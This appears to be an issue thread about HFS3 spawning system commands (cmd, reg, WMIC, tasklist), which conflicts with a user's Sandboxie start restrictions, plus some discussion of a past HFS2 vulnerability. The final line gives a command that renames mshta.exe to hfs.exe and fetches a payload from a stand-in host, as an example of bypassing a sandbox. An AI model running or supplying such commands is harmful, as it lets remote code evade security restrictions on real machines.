HFS3 dependencies

[rec32]

Hello Rejetto, I run your software in Sandboxie to mitigate any future possible vulnerabilities such as rce recently discovered in HFS2, so that even if such thing happens, it couldn't access or do anything. For example, I only allow hfs.exe to start in the sandbox, which worked fine on HFS2 and previous versions of HFS3, now I've started to get these errors:

cmd.exe: SBIE1308 Program cannot start due to restrictions
chcp.com: SBIE1308 Program cannot start due to restrictions
WMIC.exe: SBIE1308 Program cannot start due to restrictions
chcp.com: SBIE1308 Program cannot start due to restrictions
tasklist.exe: SBIE1308 Program cannot start due to restrictions
reg.exe: SBIE1308 Program cannot start due to restrictions

Is cmd now significant for HFS3 to run? Maybe you could add an option to opt-out of features requiring it? If possible.

[rejetto]

hey!
hfs3 uses all those commands to provide some features.
When the command is not available, the feature doesn't work. I expect most of them to be non-fatal, and the program to work with what it has. Let me know if I'm wrong. So, there should be no need for an option (or several options) to disable.
To know what features they are, you should study the source files. I remember "reg" is used for adding with the "system integration" button, for example, and "cmd" is used to know what files are hidden, so to not display them, and maybe for more.

provided that i'm not against sandboxing, when it works it can be an interesting option,
i used sandboxie a few times in the past, but now i'm using a mac. Are you able to provide access to specific folders, like the ones that you want HFS to serve?
did you consider allowing access to those system files?

The problem with hfs2 is that nobody is supporting it. Otherwise a fix would have been provided in time, because the people behind the discovery acted responsibly and contacted me ahead of time.
As an additional note, at the time the problem seemed to not affect 2.4, so i expected to be able to just remove 2.3, but then an improved method was revelead that broke 2.4 as well.
The same would not happen now with version 3, because i'm on it.
I can't say what happens when I'm not on it anymore, let's say in 100 years 🙃, but the quality of the project is far more superior (after 20 years) and I expect it to attract more programmers.

[rejetto]

by the way, i know @damienzonly is working on a docker image for hfs

[rec32]

Are you able to provide access to specific folders, like the ones that you want HFS to serve?

Yes, but I'm using a different feature (start restrictions - allow only selected programs to start in this sandbox)

did you consider allowing access to those system files?

If I have to... Though allowing cmd to run will probably destroy the purpose of these restrictions

[rejetto]

cmd is just a program.
the sandbox surely limits you on a "system" level, so that ANY program in its box is limited.
If HFS runs cmd, a new child process from hfs is istantiated, inheriting all restrictions.
Otherwise it would be like catching water with a fishing net.
I invite you to verify what I said.

[rec32]

I don't dispute this, what I'm talking about is that cmd can be used to bypass launch/internet restrictions

cmd cd %windir%\system32 && copy mshta.exe hfs.exe && hfs.exe https://payload.com/hfs.exe